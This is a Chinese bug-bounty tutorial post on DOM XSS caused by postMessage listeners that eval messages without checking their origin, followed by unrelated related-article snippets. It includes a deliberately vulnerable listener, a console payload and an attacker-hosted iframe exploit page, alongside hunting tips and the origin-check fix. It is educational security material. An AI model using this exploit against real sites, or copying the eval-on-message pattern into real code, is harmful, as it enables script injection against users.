postMessage引发XSS

news2025/1/19 10:36:34

这次的主题是postMessage未验证消息来源origin,导致恶意代码注入的dom-xss,由于很少人关注这类型的注入,因为挖掘难度中等,需要一定的javascript代码审计能力,且漏洞危害等级不高,导致国内许多SRC都存在跨域消息传输xss注入漏洞。比较小型的SRC会忽略,但大型的SRC会收此类漏洞,我去年挖到最高赏金的是1250软妹币,对于xss级别漏洞来说,奖励还算厚道。

什么是postMessage?


GPT是这样回答的

Ai就是Ai,解释莫得感情,可能有点抽象,我来盘活一下。

先上简单的demo1.html

<html><title>dom-xss show time</title><body>
<h1>演示</h1>
<script>// 接收方页面window.addEventListener("message", function(event) {  console.log("有人约我了!他对我说:",event.data)    var message = event.data;    eval(message)});</script></body></html>

这段代码添加了message事件监听功能,其作用就是监听来自其他域的消息,并且使用eval方法处理这条消息。

应用场景:

a.com和b.com属于不同域,现在需要在a.com下面嵌套b.com的页面,并且实现消息传输,传什么消息呢?比如,a.com告诉b.com跳转到b.com的登录页面,这时候postMessage就派上用场了。



原理你可能看得有点烦,现在直接教你如何挖掘这种漏洞。

 

漏洞复现

1.打开demo1.html,打开浏览器的F12,在eval(message)这行代码这里打上断点,console输入代码:postMessage("alert('靓仔')","*")

此时补充下postMessage的参数含义:

postMessage(message, targetOrigin)

一般只需要修改message和targetOrigin两个参数,targetOrigin为星号的时候表示不指定消息接收的origin,通配所有域。
 

输入代码后摁回车,此时断点卡住,message事件收到message并执行eval,弹窗。
 

有人会讲,这不是self-xss吗?

其实有src的审核曾经把这个当做self-xss,可能是没见过,我们上一个exp:


攻击场景:

https://attacker.captainxu.repl.co,用来挂载exp,代码如下:

<!DOCTYPE html>
<head>  <meta charset="utf-8">  <meta name="viewport" content="width=device-width">  <title>攻击站点</title>  <link href="style.css" rel="stylesheet" type="text/css" /></head><h1>Exp页面</h1>
<body>  <iframe id="target"></iframe>
  <script>    var target = document.getElementById("target");    target.addEventListener('load', () => {      target.contentWindow.postMessage('alert("靓仔")', '*')    })
    target.src = "https://target.captainxu.repl.co"</script></body>
</html>


https://target.captainxu.repl.co,存在漏洞的网站
代码如下:

<html><title>dom-xss show time</title>
<body>
  <h1>漏洞网站</h1>
  <script>    // 接收方页面    window.addEventListener("message", function (event) {      console.log("有人约我了!他对我说:", event.data)      var message = event.data;      eval(message)    });</script></body>
</html>

上面的效果就是attacker使用iframe嵌套target站点,然后attacker通过postMessage向target实现恶意代码注入。

漏洞挖掘技巧

如何去挖这种隐藏比较深的漏洞,这里强推一个国外白帽写的谷歌浏览器插件:
https://github.com/fransr/postMessage-tracker
安装之后,只要是当前页面创建了message事件监听,这个插件就会定位到其代码。

但是请记住一点,插件只是辅助,并不能直接找到漏洞,漏洞的挖掘还是得需要去审计javascript代码。

 

漏洞防护

漏洞防护也比较简单,一般都是验证消息来源的origin,比如a.com的源码中只接收b.com的消息,不是b.com发来的消息不进行任何处理。如下图


看到验证origin的可以直接忽略,有时也会存在绕过,具体情况具体分析。

思路升级

曾经思考,这种类型的漏洞,能不能批量检测?

答案当然是可以的。

不过需要使用到高阶的javascript语法树(AST)去实现。我写过插件,效果并不是很明显,于是我想了另一个方法,那就是使用正则表达式简单粗暴地去检测源码中是否存在message这个关键词,如果存在,再人工进行核实。这种方法常常能发现意外收获。

好了,收~~~~~工!!!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/576008.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【计算机网络】 7、websocket 概念、sdk、实现

文章目录 一、背景二、简介三、client3.1 ws 构造函数3.2 ws.readyState3.3 ws.onopen3.4 ws.onclose3.5 ws.onmessage3.6 ws.send3.7 ws.bufferedAmount3.8 ws.onerror 四、server4.1 go4.1.1 apifox client4.1.2 js client 五、范式 一、背景 已经有了 http 协议&#xff0c…

懂点自动化基础就要25k? 测试总监:给你15K,爱来不来

公司前段缺人&#xff0c;也面了不少测试&#xff0c;结果竟然没有一个合适的。一开始瞄准的就是中级的水准&#xff0c;也没指望来大牛&#xff0c;提供的薪资在10-25k&#xff0c;面试的人很多&#xff0c;但平均水平很让人失望。看简历很多都是3年工作经验&#xff0c;但面试…

【C++11】C++的新特性(详解)

文章目录 1.C11简介2.统一的列表初始化2.1{}初始化2.2 std::initializer_list 3.声明3.1 auto3.2 decltype3.3 nullptr 4.范围for5.STL中一些变化5.1 array5.2 forward_list容器5.3 unordered_map和unordered_set容器 1.C11简介 相比于C98/03&#xff0c;C11则带来了数量可观的…

2023年武汉市职业院校技能大赛“网络安全”竞赛任务书

2023年武汉市职业院校技能大赛“网络安全” 竞赛任务书 一、竞赛时间 总计&#xff1a;360分钟 竞赛阶段 竞赛阶段 任务阶段 竞赛任务 竞赛时间 分值 A模块 A-1 登录安全加固 180分钟 200分 A-2 本地安全策略配置 A-3 流量完整性保护 A-4 事件监控 A-5 服…

2023年电工杯B题半成品论文使用讲解

注&#xff1a;蓝色字体为说明备注解释字体&#xff0c;不能出现在大家的论文里。黑色字体为论文部分&#xff0c;大家可以根据红色字体的注记进行摘抄。该文件为半成品论文&#xff0c;即引导大家每一步做什么&#xff0c;怎么做&#xff0c;展示按着本团队的解题思路进行建模…

Integrated LogicAnalyzer v6.2 (Vivado ILA使用方法)

Chapter 1 Overview 1.1 Feature Summary&#xff08;功能摘要&#xff09; FPGA设计中的信号连接到ILA核时钟和探针输入&#xff08;图1-1&#xff09;。这些连接到探针输入的信号以设计速度进行采样&#xff0c;并使用片上块RAM&#xff08;BRAM&#xff09;进行存储…

【旅游网】前后端分离——用户管理

1、先创建数据库&#xff0c;建立用户表 2、创建后端项目&#xff0c;这里使用Springboot&#xff0c;创建好controler、mapping、pojo、service四个文件&#xff0c;在实体里创建User类 package com.example.pjtest.Pojo;public class User {public int id_u;public Strin…

SpringBoot 之 Tomcat 与 Undertow 容器性能对比

一、前言&#x1f525; 环境说明&#xff1a;Windows10 Idea2021.3.2 Jdk1.8 SpringBoot 2.3.1.RELEASE 在上一篇《SpringBoot 之配置 Undertow 容器》一文中写道&#xff1a;“Undertow 的性能和内存使用方面都要优于 Tomcat 容器”, 这一期&#xff0c;我就要给大家来求证…

受不了了,被00后卷的想辞职了

在程序员职场上&#xff0c;什么样的人最让人反感呢? 是技术不好的人吗?并不是。技术不好的同事&#xff0c;我们可以帮他。 是技术太强的人吗?也不是。技术很强的同事&#xff0c;可遇不可求&#xff0c;向他学习还来不及呢。 真正让人反感的&#xff0c;是技术平平&…

御剑WEB指纹识别系统教程,图文教程(超详细)

「作者简介」&#xff1a;CSDN top100、阿里云博客专家、华为云享专家、网络安全领域优质创作者 「推荐专栏」&#xff1a;对网络安全感兴趣的小伙伴可以关注专栏《网络安全入门到精通》 御剑WEB指纹识别 一、基本使用二、内置字典三、自定义字典四、扫描原理 御剑WEB指纹识别系…

php html转pdf wkhtmltopdf

系统CentOS7.6 1.安装 wkhtmltopdf yum install wkhtmltopdf 看别的大佬的教程这步就已经可以正常生成&#xff0c;但我这边运行脚本的时候返回了 "wkhtmltopdf: cannot connect to X server" 2.安装 Xvfb yum install Xvfb 3.运行脚本 xvfb-run --server-ar…

20220912深圳市梧桐山桃花源看植物

20220912深圳市梧桐山桃花源看植物 2023/5/27 13:27 大自然生态探索之旅第3期 明天去梧桐山看植物。有空不&#xff1f; 交通方式&#xff1a; 黄贝岭地铁站C出口坐M445到终点&#xff01; 02木荷 https://baijiahao.baidu.com/s?id1676100940201729045&wfrspider&fo…

人生苦短,我用Python。

人生苦短&#xff0c;我用Python。欢迎大家一起分享&#xff0c;你是如何入门Python的~ 方向一&#xff1a;你是如何学习/自学 Python 的&#xff1f; 偶然的机会接触到python&#xff0c;于是开始利用空闲时间学起了python。自学过2年python&#xff0c;有一些学习心得和避坑…

分布式事务的21种武器 - 6

在分布式系统中&#xff0c;事务的处理分布在不同组件、服务中&#xff0c;因此分布式事务的ACID保障面临着一些特殊难点。本系列文章介绍了21种分布式事务设计模式&#xff0c;并分析其实现原理和优缺点&#xff0c;在面对具体分布式事务问题时&#xff0c;可以选择合适的模式…

Linux——进程轮换

目录 一.进程切换 1.定义&#xff1a; 2.硬件上下文&#xff1a; 总结&#xff1a; 一.进程切换 1.定义&#xff1a; 进程切换(process switch),作为抢占式多任务的一个重要功能&#xff0c;其实质就是OS内核挂起正在运行的进程A,然后将先前被挂起的另一个进程B恢复运行。 2.硬…

天书奇谈3D服务端搭建架设教程Centos

天书奇谈3D服务端搭建架设教程Centos 大家好&#xff0c;我是艾西&#xff0c;今天给大家分享一款回合制MMORPG手游的搭建教程。也算是G 内回合制手游的第一梯队吧&#xff0c;回合制手游总会有那么一帮热爱的玩家我们话不多说直接进入正题开始操作&#xff1a; 架设准备&…

00后们劝你们不要去外包,3年外包,废了....

先说一下自己的情况&#xff0c;专科生&#xff0c;19年通过校招进入杭州某个外包软件公司&#xff0c;干了接近3年的功能测试&#xff0c;今年年初&#xff0c;感觉自己不能够在这样下去了&#xff0c;长时间呆在一个舒适的环境会让一个人堕落! 而我已经在一个企业干了3年的功…

UNIX网络编程卷一 学习笔记 第十六章 非阻塞式IO

套接字的默认状态是阻塞的&#xff0c;当发出一个不能立即完成的套接字调用时&#xff0c;进程将被投入睡眠&#xff0c;等待相应操作完成。可能阻塞的套接字调用有以下四类&#xff1a; 1.输入操作&#xff1a;包括read、readv、recv、recvfrom、recvmsg函数。如果进程对一个阻…

公司study three

ctrlwind&#xff1a;新建桌面 ctrlwin 箭头 切换桌面 WIN CTRL F4 删除桌面 mybatis-plusstreamlambda lambda遍历 存值 if (bpmBoEntityList ! null && !bpmBoEntityList.isEmpty()) {bpmBoEntityList.forEach(x -> {BpmBoEntityDTO dto new BpmBoEntityDT…

一.《HIT2台服韩服》背包遍历和物品品质潜规则

首先找背包遍历 1.通过物品数量我们入手找 2.首先CE搜索当前药品数量 3.然后消耗一瓶血药 4.CE继续搜索10,你会发现还剩下1423个结果 5.经过我们几次的筛选,最终找到几个结果 6.拿到地址后,我们用XDBG附加游戏后查看这个地址 7.随后我们在这个地址上下写入断点,通过消耗血药,就…